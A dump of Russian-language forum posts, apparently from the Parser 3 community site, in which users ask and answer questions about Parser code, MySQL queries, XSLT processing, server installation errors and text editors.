"63992","Последнее время заметил, что для работы с Ajax есть хорошие библиотеки, например Prototype или jQuery. По легкости написания больше привлекла jQuery.\
\
В Prototype есть класс Hash, который вполне неплохой. Но мне показался класс от [url=\"http://www.mojavelinux.com/articles/javascript_hashes.html\"]Mojavelinux[/url]  удобнее, правда к нему нужно еще дописать пару методов.\
\
Но еще не встречал класс Table подобный встроенному классу table в Parser.\
Мне в P3 очень удобен в таком использовании:\
[code]\
@getObjects[...]\
...\
$result[^table:sql{\
SELECT\
	...\
FROM\
	...\
}]\
#end @getObjects[]\
\
\
@parseObjects[...]\
...\
$tObjects[^getObjects[...]]\
\
$hObjects[^tObjects.hash[parent_id;$.distinct[table]]]\
...\
#end @parseObjects[]\
[/code]\
Так вот в парсере благодаря table в связке с hash, всегда можно сделать хэш, который очень удобно использовать для построения деревьев или достачи каких-то данных.\
\
Уверен, что в JavaScript тоже есть какие-то простые и удобные решения, но пока не заметил какие, вот и хочу посоветоваться с тему, кто уже имеет опыт и связан с Парсером."
"63993","Я пока представляю это в 3 этапах.\
1. Когда пользователь неавторизован, либо не авторизован (или у него не включены cookies).\
Нужно выдать в пожохих товарах несколько видов (похожестей), но всего по 1 товары (можно изменить в настройках на др. число):\
 - похожий по цвету и в процентном соотношении (допустим 20%) подобен по характеристикам\
 - похожий по размерам и на ~N% подобен по характеристикам\
 далее пошли отдельные (зависящие от каждого товара), они будут отбираться по  тем, параметрам, которые помечены (см. идею [url=\"http://www.parser.ru/forum/?id=63974\"]Misha v.3[/url]).\
\
2. Работает скрипт наблюдения, который замечает похожести товаров, просмотренных пользователем и старается для него каждый раз подбирать соответствующий его запросам.\
\
3. Когда пользователь авторизован, мы берем его критерии к типам продуктов и опять включается в работу этап 2.\
\
\
Проблемы.\
[b]Как быть если скрипт замечает не те параметры.[/b]\
[color=\"grey\"]К примеру пользователь смотрит все телефоны небольшого размера, но размер для него не имеет значения.[/color]\
Пока я думаю, что в какой-то момент можно переспросить пользователя (pop-up, или просто на сайте вывести окно, \"нам показалось, что Вы предпочитаете ... размеры телефонов .... если это не так нажмите ... кнопку\".\
Правда кого-то это может только раздражать. Но это можно решить и др. способом, к примеру перед регистрацией уточнить, хочет ли он помощь робота в выборе товаров."
"63995","Есть три таблицы:\
\
[code]1. posts:\
`id` smallint(8) unsigned NOT NULL auto_increment,\
`user_id` smallint(6) unsigned NOT NULL default '0',\
`content` varchar(255) character NOT NULL default '',\
PRIMARY KEY (`id`);\
\
2. users:\
`id` smallint(6) unsigned NOT NULL auto_increment,\
`login` varchar(40) NOT NULL default '',\
PRIMARY KEY (`id`)\
\
3. posts_rates:\
`post_id` tinyint(8) unsigned NOT NULL default '0',\
`user_id` tinyint(6) unsigned NOT NULL default '0',\
`rate` smallint(1) NOT NULL default '0',\
PRIMARY KEY (`post_id`,`user_id`)[/code]\
\
Вопрос: возможно-ли одним (1) предложением вытащить содержание постов (content), имена пользователей и рейтинг поста? \
\
Учитывая, что в таблице рейтинга постов не существует записи для поста пока пользователи не голосуют за него."
"63996","[code]SELECT \
	posts.id as id,\
	posts.user_id as user_id,\
	posts.content as content,\
	users.login as login,\
	SUM(IF(posts_rates.post_id = posts.id, posts_rates.rate, 0)) as rate						   \
FROM\
	posts,\
	users,\
	posts_rates\
WHERE\
	posts.user_id = users.id\
GROUP BY\
	posts.id[/code]"
"63997","но насколько это верно?"
"63999","На самом деле многое сделано через одно место:\
\
1. Постоянно параметрами передаются неконстантные ссылски (вместо указателей)\
\
2. Тонна кода в хедерах (я не считаю что это можно оправдать оптимизацией)\
\
3. Стиль именования: и кэмел кейс и подчеркивания, ну и многое другое.\
\
4. Макросов дофига, впрочем этим грешат почти все\
\
5. Управление памятью вообще ахтунг - если бы серверный код был в таком стиле - текло бы как дырявое решето.\
\
Ну и все в таком духе."
"64000","Array хоть и поддерживает именованные массивы, но он их не считывает.\
Пример:\
[code]\
<script language=\"javascript\">\
aTest = new Array();\
alert(\"empty array count: \"+aTest.length);\
\
aTest[\"name1\"] = \"test value\";\
aTest[\"name2\"] = new Array(\"null value\");\
aTest[0] = null;\
alert(\"not empty array count: \"+aTest.length);\
</script>\
[/code]\
\
Получаю:\
1) \"empty array count: 0\"\
2) \"not empty array count: [color=\"red\"]1[/color]\"\
[i]Хотя ожидал увидеть 3.[/i]"
"64001","... в виде\
\
[code]/usr/lib/cgi-bin/lib/libparser3mysql.so: undefined symbol: __cxa_pure_virtual[/code]\
\
[url=\"http://www.parser.ru/forum/?id=44177\"]http://www.parser.ru/forum/?id=44177[/url] не помогло :-(\
\
отцы, помогите."
"64006","http://www.egoroff.spb.ru/portfolio/23.html"
"64007","Впервые устанавливаю Parser на FastNext. Все как обычно, закачал обработчик (под Linux Redhat) с библиотеками в cgi-bin. В корневую директорию сайта кладу .htaccess с таким тек текстом:\
AddHandler parsed-html html\
Action parsed-html /cgi-bin/parser3.cgi\
<Files ~ \"\\.(p|cfg)$\">\
Order allow,deny\
Deny from all\
</Files>\
\
Сервер почему-то выдает внутренню ошибку 500.\
Мжет быть кто-то сталкивался с этим? Что-то посоветуете?\
\
Заранее благодарю."
"64009","Хочу использовать Parser без веб-сервера, просто для статической генерации пакета html-файлов. Просто за свою жизнь делал только интранет-странички, и пока нет срочных задачек по web. (К тому же, на ноутбуке, на который Parser встал, нет интернета пока.)\
\
Правильно ли я понимаю, что нужно выбрать вариант установки, как cgi-скрипт? (При первой попытке выбрал, как модуль IIS - ну, и получил, что parser.exe у меня нет, а parser3isapi.dll отдельно не работает)."
"64010","Правильно ли я понял, что parser можно юзать просто как неплохой xslt-трансформатор (в частности, дружественный к кодировкам)?"
"64011","пускать ручками parser3.exe скрипт_на_парсере.html или в качестве [url=\"/docs/lang/parserscript.htm\"]интерпретатора[/url]\
\
при этом большинство его функций, в том числе для работы в xml/xslt будут работать.\
\
но для того, чтобы был веб сервер, в общем случае подключения к интернету не требуется. веб сервер можно установить и на локальную машину, в том числе в виде уже готовых пакетов, таких как Swissknife и Denwer (в разделе скачать на них есть ссылки)."
"64012","чего-то не могу сообразить, как в match проверить наличие текста с круглыми скобками\
\
[code]\
$needle[кто-то (что-то)]\
$heap[кто-то (что-то) где-то]\
\
^if(^heap.match[$needle]){да}{нет}[/code] \
\
выдает нет\
\
судя по документации, если имеются круглые скобки, парсер ищет регулярное выражение. но здесь регулярного выражения нет, есть просто текст. как его найти?"
"64013","но если вам нужно лишь проверить вхождение подстроки в строку, а не регулярные выражения, то возможно вам подойдет метод строки pos."
"64014","То, что веб-сервер работает и локально, я в курсе. Просто сейчас не хочу его пока ставить никакой. Задачек для него нет, а безопасность компа при подключении он может понизить.\
\
Вот выучу Парсер, глядишь, задачки появятся. :)"
"64015","вот до чего доводит постоянная работа с вируснёй! %)"
"64017","Можно, но не нужно. Это все равно что вешать шары на елку, не вынимая их из коробки.\
\
Надо пользоваться отдельными процессорами. Например, xsltproc или msxsl (которые, кстати, не страдают от несоответствия с документацией).\
\
А с кодировками в XSLT вообще нет проблем, в том числе и когда исходные файлы в разных кодировках."
"64018","несоответствием страдают все, т.к. баги есть везде, и в процессе жизни они правятся. как простейший пример -- в новостях есть список поправленных несовместимостей libxslt, которые были в xsltproc и с которыми мы столкнулись при обновлении этих библиотек (их больше, они описаны на xmlsoft.org, просто у нас используются далеко не все возможности xslt).\
\
согласен, что использовать парсер только для того, чтобы работать с xml/xsl -- незачем, однако если используется парсер, то использовать внешние библиотеки также лишне."
"64019","> однако если используется парсер, то использовать внешние библиотеки также лишне.\
\
Почему? Предлагаешь писать \"программу\" на парсере, чтобы сделать XSLT-преобразование?"
"64020","$sourceDoc[^xdoc::load[article.xml]]\
$transformedDoc[^sourceDoc.transform[article.xsl]]\
^transformedDoc.string[$.method[html]\
\
Хотите сказать, что здесь нужно еще что-то писать?\
\
http://www.parser.ru/docs/lang/lesson6.htm"
"64021","Я хочу сказать, что куда как проще делать преобразование вчетверо более коротким вызовом:\
\
C:\\>msxsl article.xml article.xsl > article.html\
\
Хотя, конечно, ваша задача мне неизвестна :-)"
"64022","[code]\
$sourceDoc[^xdoc::load[article.xml]]\
$transformedDoc[^sourceDoc.transform[article.xsl]]\
^transformedDoc.string[$.method[html]\
[/code]\
\
это -- и есть программа на парсере.\
\
если у вас есть уже готовые article.xml и article.xsl, и вам надо лишь оттра...нсформить одно другим, то куда как проще [url=\"/forum/?id=64021\"]предложенный[/url] вариант, и ставить для этого парсер мне кажется лишним.\
\
если парсер уже есть, используется, и именно он участвует в формировании html, и в процессе формирования требуется дополнительно вдруг использовать xslt-преобразования, то тут незачем использовать внешние скрипты, т.к. все уже есть в парсере."
"64023","Парсер делает гораздо больше лишних телодвижений, чем надо."
"64024","я написал (2 раза): [b]если парсер уже есть, используется, и...[/b]"
"64025","Не втягиваясь по-крупному \
- в веб-программирование,\
- в изучение массы всяческих тулзов\
овладеть минимальным инструментарием для гибкой генерации интранет-страничек. \
\
Мне это нужно для работы (отмечу в скобках, - программистом я не был и быть в ближайшие два года не планирую). \
\
Если скажете, с какого не самого мусорного сайта можно скачать xslproc для Винды или msxsl, очень мне поможете.\
\
Заранее спасибо."
"64026","http://www.microsoft.com/downloads/details.aspx?FamilyID=2fb55371-c94e-4373-b0e9-db4816552e41&displaylang=en"
"64027","но загибается при xslt-трансформации"
"64029","Парсер есть. Но пока не используется. Но будет. \
\
Вне зависимости от флирта с другими xslt-трансформаторами.\
\
Еще раз спасибо за помощь."
"64030","8)"
"64031","мне тоже один раз при наличии парсера, умеющего работать с xml/xsl, пришлось работать с xml через Ж..., т.к. размер xml-я был больше 30 МБ (мегабайт). ни один из испробованных мной xslt процессоров (встроенный в парсер и отдельный xsltproc) не смог справиться с ним с имеющимися 128 МБ памяти (её не хватало даже для создания dom-дерева).\
\
не берусь утверждать ничего про задачу, решаемую KLEN-ом (т.к. я не знаю деталей), но у меня был ещё опыт поиска баги, когда сильно жралась память. оказалось, что жрал её специфически написанный xsl шаблон при трансформации довольно небольшого xml-я. небольшое  переписывание шаблона уменьшило расход памяти раз в десять. эта-же проблема имела бы место быть и при использовании standalone xsltproc процессора (либа одна и та-же).\
\
о чем всё это говорит? да ни о чем, кроме того, что ситуации бывают сильно разные, и все грести под одну гребёнку -- неправильно.\
\
если есть встроенный механизм, то не попробовав его, бросаться искать, подключать и использовать внешний с аналогичным функционалом, мне кажется бессмысленной тратой времени."
"64032","про\
[quote]оказалось, что жрал её специфически написанный xsl шаблон при трансформации довольно небольшого xml-я. небольшое переписывание шаблона уменьшило расход памяти раз в десять.[/quote]\
не расскажешь?"
"64034",";-)"
"64035","Есть 3 таблицы: [i]obj[/i], [i]obj_alias[/i], [i]obj_keywords[/i]. \
Таблицы связаны по индексу [i]obj_id[/i]. \
\
Соответственно, в таблицах [i]obj_alias[/i] и [i]obj_keywords[/i] ([i]varchar[/i] поля) хранятся ключевые слова и псевдонимы, связанные с объектом в таблице [i]obj[/i], в которой также хранится имя объекта. Таблицы нужны именно в таком виде, а не одно со всеми этими полями, так как могут быть различные варианты выборки.\
\
[i]Вопрос[/i]: как лучше написать запрос при очень большом кол-ве записей в таблицах для поиска объектов без учета регистра (utf-8).\
Варианты есть такие варианты: [i]regexp[/i], [i]like[/i] или [i]=[/i] для этих запросов.\
\
Или лучше сделать еще одну таблицу с текстовым полем, объединяющем все три таблицы для оптимизации поиска, [i]obj_index[/i] со значениями через запятую в одном регистре и искать таким запросом: [code]regexp '(^^|,)${what}(^$|,)'[/code]."
"64036",":)"
"64039","Могу сказать о своем случае, когда я регулярно «клал» тестовый сервер, записывая по ошибке в XSLT:\
\
[code]<xsl:apply-templates select=\".\"/>[/code]"
"64040","главное чтобы она конструктивная была"
"64044","Ни у кого случайно нет собранной версии парсера под mac os 10.5? Сам собирать не умею и понятия не имею как это происходит. Подскажите, как можно решить эту проблему?"
"64045","Это не так уж и сложно.\
Может только быть головняк, если будет нехватать каких-то основных библиотек, что тоже мало вероятно.\
Если нужна помощь, то могу всегда помочь:\
ICQ# 110995846"
"64046","Самого было... Круто ноут вис, что даже полчаса добирался до списка задач (System Monitor)."
"64047","А то не хочется как-то гадать..."
"64048","однако моё мнение основано на моём понимании логики работы MySQL и я возможно ошибаюсь. наверняка explain прояснит картину.\
\
попробуйте создать простенький скрипт, который сгенерит вам БД в которой будет с тысячу пользователей, тысячи три постов и примерно столько-же рейтингов и посмотрите что станет с вашим сервером...\
\
join таблиц, когда условие находится в IF и оно такое, что приводит к появлению огромного количества результирующих строк (кол-во rates * кол-во posts) и последующей их группировке по posts.id -- очень плохая идея.\
\
left join тут не выход, т.к. вам нужно пристыковать для каждой записи из posts все записи из posts_rates.\
\
я бы делал это в несколько запросов: сначала достал бы требуемые posts (наверняка тут будет ещё и разбивка по страницам), и потом бы лишь для них достал бы rates (запрос из одной таблицы с posts_rates.post_id IN (...), SUM и group_by). ну или с подзапросом."
"64049","В студии TeleType (http://www.teletype.ru/) открыта вакансия верстальщика сайтов.\
\
Требования:\
Хорошее знание HTML/xHTML‚ JavaScript‚ dHTML‚ DOM‚ CSS. Базовые знания XML‚ XSL‚ SQL. Приветствуется знание Parser 3.\
\
Обязанности:\
Вёрстка веб страниц с помощью XSL по готовому дизайну или по аналогии с уже существующими на проекте; разработка скриптов различной сложности на JavaScript; полная сборка страниц без участия программиста.\
\
Условия:\
Новый сотрудник проходит обучение XSL и собственной системе веб разработки‚ которая позволяет полностью разделять вёрстку и программирование‚ управляет всем от расположения файлов до версий шаблонов.\
Полная занятость. Рабочее время: 10 - 18‚ 11 - 19 или 12 - 20. Свободная форма одежды. Чай‚ кофе на рабочем месте. Офис в центре Москвы.\
\
Необходимо прислать рассказ о себе и своих работах Чеканову Михаилу (cmv[^]teletype.ru)."
"64050","Вот такая вот ошибка:\
\
parser is in safe mode: reading files of foreign group and user disabled [recompile parser with --disable-safe-mode configure option]\
\
Операционка Linux REDhat (slavhost)\
\
Подскажите что конкретно нужно сделать чтобы заработало."
"64052","и насколько FULLTEXT индексы вкупе с match, against поиском быстрее регулярных выражений?"
"64053","при полнотекстовом поиске происходит выбрасывание из искомой строки нерелевантных слов.\
\
поиск с помощью полнотекстовых индексов обычно происходит быстрее чем с помощью регулярных выражений, но их сравнивать некорректно, т.к. ищут они _разное_.\
\
что до вашего первого вопроса, то '=' -- самы бйстрый вариант, затем идет LIKE и потом REGEXP\
\
если речь идёт о ключевых словах, то обычно их не много. imho лучше поместить их в отдельную таблицу и искать с помощью '=' + 2 join к вашей таблице (через таблицу со связью many to many)."
"64054","Ну прям наехали на парсер (ash, Азат)\
\
--\
На самом деле .NET заруливает и Perl и Parser :-)"
"64055","<xsl:apply-templats select=\".\"/> как раз вешал .NET на IIS."
"64056","[code]<xsl:apply-templates select=\".\" ... />[/code] приводящее к бесконечной рекурсии, то конечно, вешает сервер. В обычном случае нет :-)\
\
А в XSLT-процессор в Perle не повесит что ли? Выдаст ошибку \"xslt приводит к бесконечной рекурсии?\""
"64057","\"XSLT-процессор в Perle\" - бессмысленная формулировка.\
\
Если речь про libxslt, то нет."
"64058","> \"XSLT-процессор в Perle\" - бессмысленная формулировка.\
\
Я имел ввиду, то что используется обычно в Perle."
"64063","Желательно с какой-нибудь подсветкой чего-нить полезного. \
\
И чтоб без лишних заморочек, \
- без юниксовых, в смсле, чтоб конец строки Энтером нажимался (а не каким-нибудь ctrl D - знаю я вас, поклонники Эда); :) \
- без вантузных (висивиг и прочая гадость не обязательны) - я старый, закаленный ТеХом зубр. Я и в нотпаде шатиэмэль могу верстать. \
\
СтарОфис сойдет? Кто что пробовал? \
http://www.tspu.tula.ru/ivt/old_site/personal/2005_2006/TRPO/subgroup02/Sysoeva/kursov/new6.html"
"64064","бинарники, документация и grpunlim версии -- где обычно.\
краткий changelog -- в [url=\"/news/\"]новостях[/url]\
подробный changelog -- в [url=\"http://cvsview.parser.ru/cgi/viewcvs.cgi/parser3/ChangeLog?rev=1.61&content-type=text/vnd.viewcvs-markup\"]CVS[/url]"
"64065","Чисто мое мнение.\
\
Однозначно - [url=\"http://www.jedit.org\"]jEdit[/url], т.к. кросс-платформенный, Open-Source и на Java. Довольно мощен и гибок в настройке.\
Уже настает то время, когда Linux устанавливают на домашних компьютерах, Mac OS X выходит для x86 и многие конторы не готовы переходить на Windows Vista, а у Microsoft в планах отказаться от поддержки всех предыдущих ОС. К чему это я? К тому, что когда-то понадобится использовать свой привычный редактор на другой ОС.\
\
Еще здесь в форуме очень любят чисто win-овский [url=\"http://www.ultraedit.com\"]UltraEdit[/url]. Сам не пользовался, один раз устанавливал и видел скрины знакомого. Мне показалось, что все подобное можно было сделать и jEdit используя плагины с сайта."
"64067","Поэтому я и сказал, что бессмысленно. В языке не указано, чем пользоваться для XSLT-преобразований. Что подключишь, тем и будешь."
"64070","О, порадовали:)\
Вот только return не появился, что огорчило"
"64072","Список Upgrad-а действительно велик."
"64074","Спасибо  за помощь:) Давай может по мэйлу, сейчас нет возможности часто быть в сети. Я просто даже понятия не имею что нужно для сборки:("
"64075","http://www.parser.ru/forum/?terms=grpunlim&author=&doSearch=%CD%E0%E9%F2%E8"
"64079","Привет !!! РЕшил заняться WEB  программтрование .Долго искал что делать и как делать. Решил использовать  ApacheModuleParser3.dll \
Я уже не молод .Мне 70 лет. Это моя последняя разработка так я думаю\
 ПОмоги \
Поскажи ссылку по кототой ты скачач ApacheModuleParser3.dll"
"64080","Всех поздравляю с $Новым.Годом! :)"
"64083","Поставил — а он ругается на отсутствие библиотеки MSVCP71.DLL\
В форуме нашёл, что такая библиотека должа бы быть в архиве с парсером (эта ветка была, когда был ещё парсер 3.1.1), но не нашёл её в архивах, которые есть в разделе «скачать».\
\
Ну, то есть, я её потом тупо нашёл гуглом и скачал — всё заработало, но в архив, наверное, можно положить :)\
\
Спасибо за новую версию, и — с наступающим!"
"64084","Проблема:\
\
1. На ноутбуке у меня уже предустановленная Виста Хоум Премиум. Менять осу не хочется до тех пор, пока не куплю жене отдельный бук (т. е., в течение примерно полугода). \
\
2. Джэдит хочет, чтобы на осе был установлен <a href=\"http://www.jedit.org/index.php?page=quickstart\">Жаба рантайм</a>.\
\
3. Беглый взгляд на Жабу рантайм показывает, что она ходит на Висте, но с классическим десктопом. Менять десктоп не хочется по тем же причинам, по которым не хочется менять осу.\
\
И что делать?"
"64087","скомпилил инсталлятор заново, выложил.\
\
в zip архивах были актуальные версии exe/dll и в них эта библиотека присутствовала."
"64089","Почти все, чего хотелось из мелочей добавили! :)\
\
Большое спасибо!\
С наступающим!"
"64092","Очевидно Parser не рассчитан на работу с Plesk. cgi-bin в структуре аккаунта   Plesk находится на уровень выше чем надо, потому пришлось скопировать ее внутрь папки httpdocs и установить на нее права 755 . права на скрипты php и файлы с расширением html , которые теперь являются скриптами Parser тоже должны быть установлены в 755."
"64095","Спасибо всем. Год выдался тяжелым. Списибо, за то, что вы есть. На CMS-ку не было времени, т.к. идеи из вас лелись таким поток, что я не успевал их реализовывать.\
Главное, есть то, что, есть те, кто, заниматься тем же.\
\
Спасибо за поддержку.\
\
Особенное спасибо Пафу и Мише, за идею,\
Eugene Spearance - за мысль. + За то, что он тоже пользуеться Xar-ой (!!!!!!!!!)\
Никита Козин (Wonder), R. Averkov - за качественную редактуру и свое мнение\
Sanja v.2 - за сходники\
Sumo - за поддержку, особенно!!!!!\
\
И всем остальным.\
Спасибо, что вы есть.\
\
С Новым годом!"
"64097","Остаюсь с far+colorer."
"64098","Иначе в подобных сообщениях я не вижу смысла.\
\
Первое, что я заметил FAR не кросс-платформенный."
"64099","Хотя, может я не особо понял Вашу проблему.\
\
У меня была Vista Ultimate. JRE устанавливал с www.java.com. Проблем никаких не наблюдал."
"64100","В общем Парсер собран без безопасного режима, или как-то он по другому называется."
"64101","что вы пишете «Однозначно - jEdit, т.к. кросс-платформенный». Как видите, то что он CP никак не сыграло на меня.\
\
А по хорошему, у меня рядом стоит мак, а в VM — Suse. И в каждой оси свой редактор. И Фар выиграл в любом случае =) Потому что редактор там не надо запускать. Надо только вызвать его по F4.\
\
Хотя не спорю, кроссплатформенность — сильный аргумент, а в фаре бывает не хватает много чего.\
\
У меня это, видимо, просто дело привычки, или даже «религии», именно поэтому я ничего никому советовать не буду."
"64102","размещать cgi-bin в веб-пространство - очень нехорошо. \
Права на html/php - 755 - вообще бред, эти файлы не исполняемые никоим боком...\
\
думаю более правильное решение лежало на поверхности.\
\
Вас же попросили прислать строчку из лога, это сложно?"
"64103","1.\
неконстантные ссылки не бывают NULL (при работе по указателю набирать надо -> вместо красивого . и начинать все функции с assert(parameter) или if(!parameter) return something/throw something).\
\
2.\
бывает полезен автоматический inline\
\
3.\
грешен ;) \
в основном, следствие воровства.\
\
5.\
управление памятью…\
http://www.hpl.hp.com/personal/Hans_Boehm/gc/\
в шедеврах нужно понимать ;)"
"64104","1. Вот как раз такую технику (assert или if/throw) я считаю нормальной. Да много нудной и пыльной работы, зато меньше странного поведения\
\
5. Смарт-пойнтеры возможно помогут улучшить ситуацию с памятью, правда с ними тоже проблем хватает. Я не считаю автоматический мусоровоз решением всех проблем, тем более что он замедляет. Просто ручное управление конечно утомительно, и делать так долго, но результат во многих случаях окупается."
"64108","всех с новым годом!\
 а теперь по делу:\
1. с IE7 на winXP sp2 не работает $response:refresh[....] вообще никак. в других браузерах без проблем. при этом response:location[....] в IE7 делает то, что и должен. используется денвер в стандартной конфигурации.\
\
2. после установки в тот же денвер - parser3.2.2 ЗАМЕТНО! (глазом) медленнее стали подгружаться страници с localhost и других виртуальных хостов.\
Методом тыка обнаружил, что если использовать mysqllib.dll из пакета parser3.2.1sp2 скорость работы восстанавливается. Причем ситуация не зависит от версии apache и mysql (устанавливал и второй апач и musql5 и пробовалв разных сочетаниях с денвером и без оного.)\
К тому же начинаются проблемы с кодировками данных в БД, требующие коррекции стоки подключения, хотя со старой библиотекой проблема не появляется, а при указанной выше установке - исчезает"
"64109","libmysql.dll конечно же ))\
Причем неважно из архива или из инсталлятора."
"64110","такой код\
[code]^result.sort{$result.rate}[/code]\
\
выдает такую таблицу\
1.3333\
1.6667\
10.0000 \
12.6667 \
13.6667 \
13.6667 \
14.0000 \
14.3333 \
14.6667 \
15.6667 \
16.3333 \
17.6667 \
19.6667 \
20.6667 \
21.3333 \
22.3333 \
23.3333 \
23.6667 \
26.6667 \
26.6667 \
27.6667 \
28.5000 \
28.5000 \
29.0000 \
3.0000\
4.0000\
5.5000\
5.6667\
6.3333\
8.0000\
9.6667\
9.6667\
9.6667\
9.6667"
"64112","похоже?\
http://www.parser.ru/forum/?id=60964\
\
никакой информации и реакции по проблеме нет, увы - http://www.parser.ru/forum/?id=63087"
"64113","В IE7, если мне память не изменяет есть пункт в настройках - \"запретить метаобновление\" или как то так, точно не помню."
"64114","хостинг Masterhost, меняю на парсер 3.2.1 - все работает, даже с новой библиотекой libparser3mysql.so ..."
"64116","Подтверждаю. Точно та же проблема.\
Все пути указаны правильно.\
\
Parser/3.2.2 (compiled on i386-unknown-freebsd6.2) - [b]не работает[/b]\
Parser/3.2.1sp2 (compiled on i386-unknown-freebsd6.1) - [b]работает[/b]\
\
В лог пишет:  './lib/libparser3mysql.so' can't open the module [<no type>] [uri=/, method=GET, cl=0]\
\
libparser3mysql.so пробовал и старый и новый.\
\
Сервер FreeBSD be72.masterhost.ru 6.2-RELEASE-p1 i386"
"64118","То же самое (redhat)"
"64119","Проблема разрешилась"
"64122","Желаю всем успешных сайтов на технологии Parser."
"64127","Может в четыре утра второго января о таком лучше не думать. Но никак не могу додуматься, как сложить все числа из столбца таблицы файла. (Не БД) Помогите пожалуйста."
"64128","Приведите пример размышлений или кода.\
\
Уверен, что к тому моменту, когда закончите писать ответ — всё поймёте."
"64129","Привет всем! С новым годом!\
\
Почему этот код:\
[code]  ^for[dd](1;$divs){\
    <p class=\"q_link\" id=\"p$dd\" onclick=\"Expand($dd);\">Вакансия</p>\
    <div class=\"q_div\" id=\"d$dd\">\
       &nbsp^;\
    </div>\
}\
[/code]\
\
выдает такой результат:\
\
[code]<p class=\"q_link\" id=\"p1\" onclick=\"Expand(1)\">Вакансия</p>\
<div style=\"display: block;\" class=\"q_div\" id=\"d2\">\
&nbsp;\
</div>\
<p style=\"background-image: url(/img/dropu.gif);\" class=\"q_link\" id=\"p2\" onclick=\"Expand(2)\">Вакансия</p>\
<div class=\"q_div\" id=\"d3\">\
\
&nbsp;\
</div>\
<p class=\"q_link\" id=\"p3\" onclick=\"Expand(3)\
[/code]\
\
---\
На этом результат обрывается. Не понимаю, почему так."
"64131","На самом деле, стоит подумать о том, чтобы линковать рантайм статически, - не сильно то он увеличивает размер экзешника, зато такие проблемы исчезнут просто как класс."
"64133","Пример логики:\
\
Цикл, [b]for[/b] в котором первая строка таблицы, складывается со вторым. Результат запоминается, а из таблицы берется следующее значение и прибавляется к результату. И так пока не переберутся все строки таблицы. Концом диапазона значений цикла, является общее количество строк таблицы [b]count[/b].\
\
Пример кода, до которого додумался:\
\
[code]\
$ct[^table::create{num\
2\
4\
6\
}]\
\
^for[summa](0;^ct.count[]){\
\
^eval($ct.num + $summa)\
} [/code]\
Ошибка с перебором значений и записью результата."
"64135","Столкнулся с такой дилемой: конструкция вида\
[quote]$now[^date::now[]]\
$now.day/$now.month/$now.year ${now.hour}:${now.minute}:$now.second[/quote]\
нормально работает на локальном сервере под виндой, но не хочет работать (ничего не выводит) на Linux Redhat. При этом, в _test.html нормально работает, но как только пытаюсь применить её на другой странице, ничего не показывает.\
\
Подскажите, куда копать? Я уже весь форум перелопатил, но ничего подобного не нашел :("
"64136","Проблема в этом куске кода, он вообще не то делает, что вы хотите:\
\
[code]\
^for[summa](0;^ct.count[]){\
\
^eval($ct.num + $summa)\
} \
[/code]\
\
Попробуйте почитать про ^table.menu{} и метод inc, это должно помочь."
"64137","вставьте первой строчкой:[code]^if(def $now){ой!}{спакойна...}[/code] и на сервере, и на локалке и посмотрите на результат.\
\
или, как другой вариант, замените \"$now\" на \"$now_qwertyasdfgh12345\"."
"64139","Спасибо!\
\
Получилось вот так:\
[code]\
$ct[^table::create{num\
1\
2\
3\
}]\
\
$sum($ct.num)\
^ct.menu{\
}{^sum.inc($ct.num)}\
$sum\
[/code]\
\
Все работает. Может можно как то упростить(Ради спортивного интереса)?"
"64140","Странно вы использовали синтаксис:\
\
[code]^таблица.menu{код}{разделитель}[/code]\
\
Зачем было вычисления вставлять в код [i]разделителя[/i]?\
\
Я бы написал так:\
\
[code]\
$ct[^table::create{num\
1\
2\
3\
}]\
\
$sum(0)\
\
^ct.menu{^sum.inc($ct.num)}\
\
$sum\
[/code]"
"64141","Поэтому, так долго думал. Что странно использую синтаксис =]"
"64142","Надо, изменить уже существующую строку в таблице, или некоторую ее часть.\
\
Надумал вот так: (У меня получилось пока только добавить строку.)\
\
Содержимое таблицы:\
id	name\
3	free\
2	two\
1	one\
\
Код:\
[code]\
$tl[^table::load[/test/tabl.cfg]]\
\
<form method=\"post\" action=\"/test/\">\
\
<input name=\"newid\" type=\"text\" size=\"10\" value=\"$tl.id\">\
<input name=\"newname\" type=\"text\" size=\"10\" value=\"$tl.name\">\
\
<INPUT TYPE=\"submit\" VALUE=\"Изменить\" NAME=\"posted\">\
\
</form>\
\
^if(def $form:newid && def $form:newname){\
\
$mh[\
$.id[$form:newid]\
$.name[$form:newname]\
]\
\
^tl.append{$mh.id	$mh.name}\
\
^tl.save[/test/tabl.cfg]\
\
^tl.menu{\
$tl.id -- $tl.name\
}[<br>]\
}[/code]\
\
Хэш использовал, потому что как сделать по другому незнаю. =(\
В итоге вместо изменения первой колонки добавилась запись:\
id	name\
3	free\
2	two\
1	one\
3-modify	one-modify"
"64143","Но если очень хочется, то можно.\
Создать копию таблицы, сделав необходимые изменения в процессе наполнения копии.\
\
Правда, зачем оно вам — не очень понятно."
"64144","Нужно, потому что Использовать БД я не стал.\
1)Таблица будет состоять не больше чем из 20-30 строк.\
2)Мне проще работать с *.txt *.cfg чем с БД а большего пока и не надо.\
3)Таблицу будут скачивать, я подумал что проще отдавать уже готоывй файл чем делать его из БД.\
\
Получилось то что вы сказали вот так:\
[code]\
^if(def $form:nid && def $form:nname){\
$tc[^table::create{id	name\
$form:nid	$form:nname\
}]\
\
^tc.save[/test/tablica.cfg]\
\
$response:refresh[ \
   $.value(0) \
   $.url[/test/]]\
\
}{\
\
$tl[^table::load[/test/tablica.cfg]]\
<form method=\"post\">\
<input  name=\"nid\" type=\"text\" value=\"$tl.id\">\
<input  name=\"nname\" type=\"text\" value=\"$tl.name\">\
<input type=\"submit\" value=\"Отправить\"><br>\
</form>\
}\
[/code]\
Но это к сожалению, только с одной записью.\
А как сдеалть что бы можно было править любую?"
"64145","Там это [url=http://www.parser.ru/forum/?doSearch=do&terms=%E8%E7%EC%E5%ED%E5%ED%E8%E5%20%FF%F7%E5%E9%EA%E8]обсуждалось не раз[/url], и даже код приводили."
"64146","Спасибо. Походу дела проще будет воспользоваться SQL."
"64147","метаобновление включено (то есть в настройках так: разрешить метаобновление - включить(отмечечено) )) )"
"64148","Просто интересно... новая версия libmysql.dll содержит что-то супер критичное... или можно со старым файлом работать?\
Размер то новой библиотеки в 4 раза больше..."
"64149","Походу версия 3.2.2 для винды тормозная, возващаюсь на 3.2.1 (ничего не меняя) все летает."
"64153","т.к. устанавливается программа один раз, устанавливается инсталлятором, в котором неоходимая библиотека должна быть (почему её не было этот раз -- отдельный разговор), выполняется программа много раз и системе проще закешировать одну, достаточно распространённую dll-ку, чем грузить статически прилинкованные методы при обработке каждой страницы (хотя они конечно всё равно будут в кеше)."
